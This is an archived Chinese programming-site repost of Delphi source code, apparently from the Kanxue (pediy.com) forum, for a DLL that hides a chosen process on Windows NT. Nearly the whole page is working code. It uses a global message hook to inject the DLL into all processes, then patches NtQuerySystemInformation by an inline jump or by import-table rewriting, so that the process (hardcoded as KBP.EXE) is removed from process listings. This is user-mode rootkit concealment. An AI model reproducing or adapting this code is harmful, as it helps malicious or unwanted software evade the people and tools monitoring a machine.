中国IT动力,最新最全的IT技术教程
最新100篇 | 推荐100篇 | 专题100篇 | 排行榜 | 搜索 | 在线API文档
首 页 | 程序开发 | 操作系统 | 软件应用 | 图形图象 | 网络应用 | 精文荟萃 | 教育认证 | 硬件维护 | 未整理篇 | 站长教程
ASP JS PHP工程 ASP.NET 网站建设 UML J2EESUN .NET VC VB VFP 网络维护 数据库 DB2 SQL2000 Oracle Mysql
服务器 Win2000 Office C DreamWeaver FireWorks Flash PhotoShop 上网宝典 CorelDraw 协议大全 网络安全 微软认证
硬件维护  CPU  主板  硬盘  内存  显卡  显示器  键盘鼠标  声卡音箱  打印机  机箱电源  BIOS  网卡  C#  Java  Delphi  vs.net2005
  当前位置:> 看雪学院专区 > Win32/Win64编程
Hide process only for NT(HOOK方式)
作者:佚名 时间:2006-12-15 15:22 出处:pediy.com 责编:月夜寒箫
              摘要:Hide process only for NT(HOOK方式)
之前收藏好友(发发)的作品,现拿出来和大家共享:

隐藏进程 for delphi
==========================================
HookDllMain.pas
代码:
interface uses   Windows , Messages , TlHelp32 , Sysutils ,   NTHookUnit; const    MappingFileName = 'M_File_HKHP_1.0'    FileNameLength  = 100;    Trap            = True; {True陷阱式,False改引入表式}     type   TShareMem = packed record     FileCount : integer;     FileNames : array [0..2000] of char;   end;   PShareMem = ^TShareMem;   TPDWord = ^DWORD;   UNICODE_STRING = Record     Length  : SHORT;     MaxLen  : SHORT ;     Name    : Pointer;   end;   TProcessInfo=Record     NextEntryDelta : ULONG;     ThreadCount    : ULONG;     Reserved1      : array [1..6] of ULONG;     CreateTime     : LARGE_INTEGER;     UserTime       : LARGE_INTEGER;     KernelTime     : LARGE_INTEGER;     ProcessName    : UNICODE_STRING;     BasePriority   : ULONG;     ProcessId      : ULONG;   end;   PProcessInfo = ^TProcessInfo; Function NtQuerySystemInformation(infoClass: DWORD;                                   buffer: Pointer;                                   bufSize: DWORD;                                   returnSize: TPDWord): DWORD; stdcall; procedure HideProcess(FileName : Pchar); stdcall; procedure StopHook; stdcall; implementation var   pShMem : PShareMem;   hMappingFile : THandle;   Hook : THookClass;   MessageHook : Thandle; Function NtQuerySystemInformation ; external 'NTDLL.DLL' name 'NtQuerySystemInformation' Function CheckFileIsHideFile(var lppe : TProcessEntry32) : Boolean;stdcall; begin   Result := Uppercase(Lppe.szExeFile)='KBP.EXE' end; Function HideProcessStru(HideFile : PChar ; Buf : Pointer) : integer;stdcall; var   P , LastP : PProcessInfo;   PW : PWideChar;   FileName : String; begin   Result := NO_ERROR;   FileName := Uppercase(HideFile);   P := Buf;   LastP := NIL;   while P.NextEntryDelta<>0 do begin     PW := P.ProcessName.Name;     if Uppercase(String(PW))=FileName then begin       if LastP<>NIL then         LastP.NextEntryDelta := LastP.NextEntryDelta + P.NextEntryDelta;     end;     LastP := P;     P := Ptr(DWORD(P) + P.NextEntryDelta);   end; end;    Function NewNtQuerySystemInformation(infoClass: DWORD;                                       buffer: Pointer;                                       bufSize: DWORD;                                       returnSize: TPDWord): DWORD; stdcall; type   TNtQuerySystemInformation = Function(infoClass: DWORD;                                   buffer: Pointer;                                   bufSize: DWORD;                                   returnSize: TPDWord): DWORD; stdcall; begin   Hook.Restore; {改引入表式可以不使用此语句}   Result := TNtQuerySystemInformation(Hook.OldFunction)(infoClass,                                                         buffer,                                                         bufSize,                                                         returnSize);   if infoClass=5 then begin     HideProcessStru(pShMem^.FileNames,Buffer);   end;   Hook.Change; {改引入表式可以不使用此语句} end; function GetMsgProc(code: integer; wPar: integer; lPar: integer): Integer; stdcall; begin   Result := CallNextHookEx(MessageHook, Code, wPar, lPar); end; procedure HideProcess(FileName : Pchar); stdcall; begin   if MessageHook=0 then begin     MessageHook := SetWindowsHookEx(WH_GetMessage, GetMsgProc, HInstance, 0);   end;   StrlCopy(pShMem^.FileNames + pShMem^.FileCount * FileNameLength ,            FileName ,            FileNameLength);   Inc(pShMem^.FileCount); end; procedure StopHook; stdcall; begin    if MessageHook<>0 then begin      UnhookWindowsHookEx(MessageHook);      MessageHook := 0;      SendMessage(HWND_BROADCAST,WM_SETTINGCHANGE,0,0);    end; end; initialization   hMappingFile := OpenFileMapping(FILE_MAP_WRITE,False,MappingFileName);   if hMappingFile=0 then     hMappingFile  := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(TShareMem),MappingFileName);   if hMappingFile = 0 then Exception.Create('不能建立共享内存!');   pShMem :=  MapViewOfFile(hMappingFile,FILE_MAP_WRITE or FILE_MAP_READ,0,0,0);   pShMem.FileCount := 0;   if pShMem = nil then begin     CloseHandle(hMappingFile);     Exception.Create('不能映射共享内存!');   end;   MessageHook := 0;   Hook := THookClass.Create(Trap,@NtQuerySystemInformation,@NewNtQuerySystemInformation);{Trap=False改引入表式} finalization   Hook.Destroy;   UnMapViewOfFile(pShMem);   CloseHandle(hMappingFile);   StopHook; end.


NTHookUnit.pas
代码:
unit NTHookUnit; interface uses   Classes, Windows, SysUtils, Messages; type   TImportCode = packed record      JumpInstruction: Word;      AddressOfPointerToFunction: PPointer;   end;   PImage_Import_Entry = ^Image_Import_Entry;   Image_Import_Entry = record     Characteristics: DWORD;     TimeDateStamp: DWORD;     MajorVersion: Word;     MinorVersion: Word;     Name: DWORD;     LookupTable: DWORD;   end;   PImportCode = ^TImportCode;   TLongJmp = packed record      JmpCode: ShortInt; {指令,用$E9来代替系统的指令}      FuncAddr: DWORD; {函数地址}   end;   THookClass = class   private      Trap:boolean; {调用方式:True陷阱式,False改引入表式}      hProcess: Cardinal; {进程句柄,只用于陷阱式}      AlreadyHook:boolean; {是否已安装Hook,只用于陷阱式}      AllowChange:boolean; {是否允许安装、卸载Hook,只用于改引入表式}      Oldcode: array[0..4]of byte; {系统函数原来的前5个字节}      Newcode: TLongJmp; {将要写在系统函数的前5个字节}   private   public      OldFunction,NewFunction:Pointer;{被截函数、自定义函数}      constructor Create(IsTrap:boolean;OldFun,NewFun:pointer);      constructor Destroy;      procedure Restore;      procedure Change;   published   end; implementation {取函数的实际地址。如果函数的第一个指令是Jmp,则取出它的跳转地址(实际地址),这往往是由于程序中含有Debug调试信息引起的} function FinalFunctionAddress(Code: Pointer): Pointer; Var   func: PImportCode; begin   Result:=Code;   if Code=nil then exit;   try     func:=code;     if (func.JumpInstruction=$25FF) then       {指令二进制码FF 25  汇编指令jmp [...]}       Func:=func.AddressOfPointerToFunction^;     result:=Func;   except     Result:=nil;   end; end; {更改引入表中指定函数的地址,只用于改引入表式} function PatchAddressInModule(BeenDone:Tlist;hModule: THandle; OldFunc,NewFunc: Pointer):integer; const    SIZE=4; Var    Dos: PImageDosHeader;    NT: PImageNTHeaders;    ImportDesc: PImage_Import_Entry;    rva: DWORD;    Func: PPointer;    DLL: String;    f: Pointer;    written: DWORD;    mbi_thunk:TMemoryBasicInformation;    dwOldProtect:DWORD; begin   Result:=0;   if hModule=0 then exit;   Dos:=Pointer(hModule);   {如果这个DLL模块已经处理过,则退出。BeenDone包含已处理的DLL模块}   if BeenDone.IndexOf(Dos)>=0 then exit;   BeenDone.Add(Dos);{把DLL模块名加入BeenDone}   OldFunc:=FinalFunctionAddress(OldFunc);{取函数的实际地址}   {如果这个DLL模块的地址不能访问,则退出}   if IsBadReadPtr(Dos,SizeOf(TImageDosHeader)) then exit;   {如果这个模块不是以'MZ'开头,表明不是DLL,则退出}   if Dos.e_magic<>IMAGE_DOS_SIGNATURE then exit;{IMAGE_DOS_SIGNATURE='MZ'}   {定位至NT Header}   NT :=Pointer(Integer(Dos) + dos._lfanew);   {定位至引入函数表}   RVA:=NT^.OptionalHeader.      DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;   if RVA=0 then exit;{如果引入函数表为空,则退出}   {把函数引入表的相对地址RVA转换为绝对地址}   ImportDesc := pointer(DWORD(Dos)+RVA);{Dos是此DLL模块的首地址}   {遍历所有被引入的下级DLL模块}   While (ImportDesc^.Name<>0) do   begin     {被引入的下级DLL模块名字}     DLL:=PChar(DWORD(Dos)+ImportDesc^.Name);     {把被导入的下级DLL模块当做当前模块,进行递归调用}     PatchAddressInModule(BeenDone,GetModuleHandle(PChar(DLL)),OldFunc,NewFunc);     {定位至被引入的下级DLL模块的函数表}     Func:=Pointer(DWORD(DOS)+ImportDesc.LookupTable);     {遍历被引入的下级DLL模块的所有函数}     While Func^<>nil do     begin       f:=FinalFunctionAddress(Func^);{取实际地址}       if f=OldFunc then {如果函数实际地址就是所要找的地址}       begin          VirtualQuery(Func,mbi_thunk, sizeof(TMemoryBasicInformation));          VirtualProtect(Func,SIZE,PAGE_EXECUTE_WRITECOPY,mbi_thunk.Protect);{更改内存属性}          WriteProcessMemory(GetCurrentProcess,Func,@NewFunc,SIZE,written);{把新函数地址覆盖它}          VirtualProtect(Func, SIZE, mbi_thunk.Protect,dwOldProtect);{恢复内存属性}       end;       If Written=4 then Inc(Result); //      else showmessagefmt('error:%d',[Written]);       Inc(Func);{下一个功能函数}     end;     Inc(ImportDesc);{下一个被引入的下级DLL模块}   end; end; {HOOK的入口,其中IsTrap表示是否采用陷阱式} constructor THookClass.Create(IsTrap : boolean; OldFun,NewFun : pointer); begin    {求被截函数、自定义函数的实际地址}    OldFunction:=FinalFunctionAddress(OldFun);    NewFunction:=FinalFunctionAddress(NewFun);    Trap:=IsTrap;    if Trap then{如果是陷阱式}    begin       {以特权的方式来打开当前进程}       hProcess := OpenProcess(PROCESS_ALL_ACCESS,FALSE, GetCurrentProcessID());       {生成jmp xxxx的代码,共5字节}       Newcode.JmpCode := ShortInt($E9); {jmp指令的十六进制代码是E9}       NewCode.FuncAddr := DWORD(NewFunction) - DWORD(OldFunction) - 5;       {保存被截函数的前5个字节}       Move(OldFunction^,OldCode,5);       {设置为还没有开始HOOK}       AlreadyHook := False;    end;    {如果是改引入表式,将允许HOOK}    if not Trap then AllowChange:=true;    Change; {开始HOOK}    {如果是改引入表式,将暂时不允许HOOK}    if not Trap then AllowChange:=false; end; {HOOK的出口} constructor THookClass.Destroy; begin   {如果是改引入表式,将允许HOOK}   if not Trap then AllowChange:=true;   Restore; {停止HOOK}   if Trap then{如果是陷阱式}     CloseHandle(hProcess); end; {开始HOOK} procedure THookClass.Change; var    nCount: DWORD;    BeenDone: TList; begin   if Trap then{如果是陷阱式}     begin       if (AlreadyHook)or (hProcess = 0) or (OldFunction = nil) or (NewFunction = nil) then           exit;       AlreadyHook:=true;{表示已经HOOK}       WriteProcessMemory(hProcess, OldFunction, @(Newcode), 5, nCount);     end   else begin{如果是改引入表式}     if (not AllowChange)or(OldFunction=nil)or(NewFunction=nil)then exit;     BeenDone:=TList.Create; {用于存放当前进程所有DLL模块的名字}     try      PatchAddressInModule(BeenDone,GetModuleHandle(nil),OldFunction,NewFunction);     finally      BeenDone.Free;     end;   end; end; {恢复系统函数的调用} procedure THookClass.Restore; var    nCount: DWORD;    BeenDone: TList; begin   if Trap then{如果是陷阱式}     begin       if (not AlreadyHook) or (hProcess = 0) or (OldFunction = nil) or (NewFunction = nil) then           exit;       WriteProcessMemory(hProcess, OldFunction, @(Oldcode), 5, nCount);       AlreadyHook := False;{表示退出HOOK}     end   else begin{如果是改引入表式}     if (not AllowChange)or(OldFunction=nil)or(NewFunction=nil)then exit;     BeenDone := TList.Create;{用于存放当前进程所有DLL模块的名字}     try       PatchAddressInModule(BeenDone,GetModuleHandle(nil),NewFunction,OldFunction);     finally       BeenDone.Free;     end;   end; end; end.


HideProcessDLL.dpr
代码:
library HideProcessDLL; uses   SysUtils,   HookDllMain in 'HookDllMain.pas' {$R *.res} exports   HideProcess, StopHook; begin end.

所上传文件
hideprocessdll.rar (上传时间2006-09-12,08:33,43.3 KB,53 次点击)
关闭本页
 
首页 | 投资与合作 | 服务条款 | 隐私政策 | 收藏本站 | 设为首页 | 新用户注册 | 免责声明 | 使用帮助
Copyright ©2005-2008 chinaitpower.com All rights reserved. www.chinaitpower.com 版权所有